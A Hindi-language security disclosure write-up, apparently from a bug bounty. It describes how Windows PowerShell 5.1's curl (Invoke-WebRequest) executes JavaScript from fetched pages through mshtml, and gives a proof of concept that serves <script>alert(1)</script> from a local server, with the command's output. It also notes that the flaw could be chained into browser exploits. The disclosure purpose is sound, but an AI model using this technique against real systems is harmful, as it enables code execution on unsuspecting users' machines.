
Powershell का curl पर्दे के पीछे Invoke-WebRequest का उपयोग करता है।
PS C:\Users\melih> curl
cmdlet Invoke-WebRequest at command pipeline position 1
Supply values for the following parameters:
Uri:
पैरामीटर UseBasicParsing के दस्तावेज़ीकरण को देखते हुए,
This parameter has been deprecated. Beginning with PowerShell 6.0.0, all Web requests use basic parsing only. This parameter is included for backwards compatibility only and any use of it has no effect on the operation of the cmdlet.
समस्या Powershell के Invoke-WebRequest cmdlet के UseBasicParsing में है। UseBasicParsing बुनियादी पार्सिंग का उपयोग करता है, यह किसी भी javascript कोड का मूल्यांकन नहीं करता है। यह केवल टेक्स्ट को पढ़ता है और उसे पार्स करता है।
यदि यह पैरामीटर प्रदान नहीं किया जाता है, तो Invoke-WebRequest पृष्ठभूमि में Internet Explorer लॉन्च करता है और mshtml.HTMLDocumentClass का उपयोग करके html कोड को वास्तव में मूल्यांकित करके पार्स करने का प्रयास करता है। ऐसी वेबसाइट पर curl अनुरोध करना जो javascript कोड होस्ट करती है, क्लाइंट के ब्राउज़र पर कोड निष्पादन का परिणाम देता है, जो हमारे मामले में विंडोज़ टर्मिनल है।
mshtml.HTMLDocumentClass documentation can be found below.
https://learn.microsoft.com/en-us/dotnet/api/system.windows.forms.htmldocument
ऊपर दिए गए पहले दस्तावेज़ से जीवनचक्र को देखते हुए, हम देख सकते हैं कि,
Windows PowerShell 5.1 Aug-2016 Released in Windows 10 Anniversary Update and Windows Server 2016, WMF 5.1 PowerShell 6.0 20-Jan-2018 13-Feb-2019 Built on .NET Core 2.0 (https://github.com/dotnet/core/blob/main/release-notes/2.0/2.0-supported-os.md)
कुछ जाँच के बाद हमने देखा कि windows 11, server 22 और 25 के नवीनतम संस्करण powershell के पुराने संस्करण (5.1 और यह डिफ़ॉल्ट है) के साथ आते हैं, जो XSS हमलों के लिए असुरक्षित है।
नया Windows Server 22 इंस्टॉलेशन,

हमला बहुत सरल है;

PS C:\Users\melih> curl 172.27.223.167:8000/a.js
StatusCode : 200
StatusDescription : OK
Content : <script>alert(1)</script>
RawContent : HTTP/1.0 200 OK
Content-Length: 26
Content-Type: text/javascript
Date: Tue, 09 Dec 2025 15:50:40 GMT
Last-Modified: Tue, 09 Dec 2025 15:47:18 GMT
Server: SimpleHTTP/0.6 Python/3.12.3
<script>a...
Forms : {}
Headers : {[Content-Length, 26], [Content-Type, text/javascript], [Date, Tue, 09 Dec
2025 15:50:40 GMT], [Last-Modified, Tue, 09 Dec 2025 15:47:18 GMT]...}
Images : {}
InputFields : {}
Links : {}
ParsedHtml : mshtml.HTMLDocumentClass
RawContentLength : 26
आप रचनात्मक हो सकते हैं और open("about:blank") जैसी चीज़ें कर सकते हैं।

यह भी ध्यान में रखना चाहिए कि इसका उपयोग बड़ी श्रृंखलाओं जैसे ब्राउज़र एक्सप्लॉइट्स में विश्वसनीय निष्पादन प्राप्त करने या ब्राउज़र रेंडरिंग को बाध्य करने के लिए किया जा सकता है।
Severity: Important, Security Impact: Remote Code Execution के रूप में वर्गीकृत किया गया और $5,000 का इनाम दिया गया।